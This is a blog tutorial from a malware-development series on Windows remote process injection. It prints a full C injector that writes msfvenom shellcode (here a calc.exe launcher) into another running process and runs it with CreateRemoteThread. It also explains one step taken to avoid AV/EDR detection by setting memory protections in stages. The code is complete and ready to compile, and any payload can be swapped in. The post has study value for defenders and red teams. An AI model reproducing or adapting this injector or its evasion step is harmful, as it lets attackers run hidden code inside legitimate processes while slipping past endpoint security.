1050 words
5 minutes
0x01 - Process Injection Part I

Intro#

So after writing local shellcode injection, now let’s inject our shellcode into remote process which is also called process injection. We can inject our shellcode into other process such as notepad.exe, explorer.exe, etc…

To inject shellcode into other process, we’re gonna need these WinAPI.

Source Code#

Let review the source code first to get better vision.

ProcessInjection.c
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char pShellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
// we create a function called InjectRemoteProcess
BOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) {
// open process to specify Pid
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] OpenProcess to PID: %i \n", Pid);
// allocating memory into a specific process id that you supply
PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// write our shellcode into allocated memory
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
// change to PAGE_EXECUTE_READWRITE
DWORD dwOldProtection = NULL;
if (!VirtualProtectEx(hProcess,pShellcodeAddress,pShellcodeSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// create new thread into remote process
printf("[i] Create remote thread to execute payload\n");
HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0, pShellcodeAddress,NULL,0,NULL);
if (hRemoteThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Done\n");
CloseHandle(hProcess);
CloseHandle(hRemoteThread);
return TRUE;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]);
return -1;
}
int Pid = atoi(argv[1]);
SIZE_T pShellcodeSize = sizeof(pShellcode);
// calling the function
if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) {
return -1;
}
return 0;
}

Opening a Process#

You might familar writing Window API from the first post. First we created a function called InjectRemoteProcess. Function parameters will be processID, shellcode and shellcode size.

The first API will be OpenProcess

HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);

This is a new one. We use it to open a process in a specific Pid that we have to supply as a argument like .\ProcessInjection 1337.

We used PROCESS_ALL_ACCESS for dwDesiredAccess parameter as per MSDN page.

And FALSE for bInheritHandle since we don’t want to inherit of any child of current process. We can use FALSE for process injection. dwProcessId will be our Pid.

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] OpenProcess to PID: %i \n", Pid);

Allocating Memory#

As I said above, this is similar to VirtualAlloc from the first post, VirtualAllocEx is for allocating memory from a remote process. We just used PAGE_READWRITE in here for a moment to avoid high entropy of AV/EDR. We will change this PAGE_EXECUTE_READWRITE later using VirtualProtectEx API. Now our code will be look like this:

PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

Writing Shellcode to Allocated Memory#

Another new API is WriteProcessMemory which for writing our shellcode into allocated memory to a remote process.

BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
  • hProcess is handle of our OpenProcess.
  • lpBaseAddress will be our pShellcodeAddress.
  • lpBuffer is our pShellcode.
  • nSize is the size of our shellcode pShellcodeSize.
  • lpNumberOfBytesWritten we can set NULL for this.
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);

VirtualProtectEx and CreateRemoteThread are the same as from the first post.

At the end we have to close our handle.

CloseHandle(hProcess);
CloseHandle(hRemoteThread);

After that we can call this InjectRemoteProcess function from our main.

int main(int argc, char* argv[]) {
// checking arguments
if (argc < 2) {
printf("[!] Usage : \"%s\" <Process ID> \n", argv[0]);
return -1;
}
// atoi for converting string to integer
int Pid = atoi(argv[1]);
// declare the size of the shellcode
SIZE_T pShellcodeSize = sizeof(pShellcode);
// calling the function
if (!(InjectRemoteProcess(Pid, pShellcode, pShellcodeSize))) {
return -1;
}
return 0;
}

Running the program#

Now compile the code in visual studio, open a notepad.exe, find its process ID using Process Hacker tool and run it.

0x01 - Process Injection Part I
https://k0shane.github.io/posts/maldev/0x1-process-injection/
Author
k0shane
Published at
2025-11-18
License
SHANE